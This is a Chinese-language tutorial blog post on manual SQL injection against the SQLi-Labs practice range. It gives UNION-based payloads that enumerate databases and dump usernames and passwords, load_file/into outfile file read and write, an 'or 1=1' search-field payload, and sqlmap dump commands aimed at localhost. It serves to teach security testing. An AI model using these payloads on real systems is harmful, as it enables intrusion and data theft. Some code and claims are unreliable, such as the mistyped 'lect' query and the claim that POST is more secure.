本文已参与「新人创作礼」活动,一起开启掘金创作之路。
什么是SQL注入
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
了解系统库——information_schema
这是一个信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。例如数据库或表的名称,列的数据类型或访问权限。有时用于此信息的其他术语是数据字典和系统目录。对于web渗透有很大的作用。其中最重要的有三张表
SCHEMATA
提供当前MySQL实例中所有数据库信息,show databases的结果取之此表
TABLES
提供数据库中表的信息。table_name
COLUMNS
提供了表的列信息,详细描述了某张表所有的列以及每一列的信息。column_name
get提交
是依靠url的。post提交是比get提交好的,post比get更具保密性。get比post快。
手工注入
这边用到的靶场是SQLi-Labs
手工注入的步骤
1.判断有没有注入点
随便输入内容,如果有报错,那么就是有注入点
2.猜列名数量
order by X X是1,2,3,4,5.... 知道有报错,那么就知道有多少个字段了,导致报错的数字-1就是字段数
3.报错盘,判断回显点
union 先让union前面的SQL语句报错,然后在union后面加一条语句
index.php?id=-1 union select 1,2,3
4.信息收集
数据库版本号: version() 把这个写到之前收集到的回显点的地方。
index.php?id=-1 union select 1,version(),3
了解数据库的版本主要是知道它是高版本还是低版本。区分是5.0
只有高版本有系统库。
库的名字:database() 也是写到回显的字段那。
index.php?id=-1 union select 1,version(),database()
5.使用对应的SQL进行注入
1.利用information_schema.tables 查找表名
id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
2.知道表之后开始要知道字段 利用 information_schema.columns
id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
3.知道字段之后,看看有没有我们需要的数据
id=-1 union select 1,2,(select group_concat(username,0x7e,password)from users)
高权限注入
如果对于数据库,你是root用户的话,那你可以随意的进入任意的数据库,做到跨库注入。那我们如何知道自己是什么用户呢?
id=-1 union select 1,user(),3 可以利用这个语句查到。
id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
利用上面这一步可以看到有哪些数据库
之后就可以根据上面的第5步来查询其他的库。
文件读写
同样这个也是要高权限才可以实现。我们利用的是高版本数据库新添加的特性,secure_file_priv。
1.读
id=-1 union select 1,load_file('d:/aaaa.txt'),3
2.写
id=-1 union select 1,'cv',3 into outfile 'd:/aaaa.txt' --+
数据类型
数字型 注入点
$id = $_GET(id)
$sql = "lect * from users where id= $id limit 0,1"
字符型 注入点
$sql = "lect * from users where id='1 and 1 = 2' limit 0,1"
搜索型 注入点
利用模糊查询
select * from user where like '%%'
这个时候传入 y%' or 1=1#
就会植入。
数据提交方式
get方式注入
我上面的都是get提交,是通过url来进行数据的传输的。
场景:数据不敏感
安全性不高,传递速度快,数据长度有限
$c = $_GET['s'];
post提交
场景:登录框
长度不限,安全性高,传递速度慢
$c = $_POST['s'];
Cookie提交
可以绕过一些常规防御语句
$c = $_COOKIE['s'];
Request提交
可以接受get和post提交的东西
$c = $_REQUEST['s'];
工具介绍
sqlmap
这个是可以去官网上面下载的,在之前先要下载python
下载好之后进入cmd 运行 sqlmap.py
就可以了
sqlmap使用(get注入)
sqlmap.py -u "http://localhost/sqli-labs-master/Less-2/index.php?id=1"
sqlmap.py -u "http://localhost/sqli-labs-master/Less-2/index.php?id=1" --dbs 这个可以看数据库
sqlmap.py -u "http://localhost/sqli-labs-master/Less-2/index.php?id=1" -D "challenges" --tables 可以看出challenges里面有什么表
sqlmap.py -u "http://localhost/sqli-labs-master/Less-2/index.php?id=1" -D "challenges" -T "pr310iv2j9" --columns 可以看表里面的字段。
sqlmap.py -u "http://localhost/sqli-labs-master/Less-2/index.php?id=1" -D "challenges" -T "pr310iv2j9" -C "name,pass" --dump 可以看字段里面的元素。
sqlmap使用(post注入)
sqlmap.py -u "http://localhost/sqli-labs-master/Less-11/" --forms
sqlmap.py -u "http://localhost/sqli-labs-master/Less-11/" --forms --dbs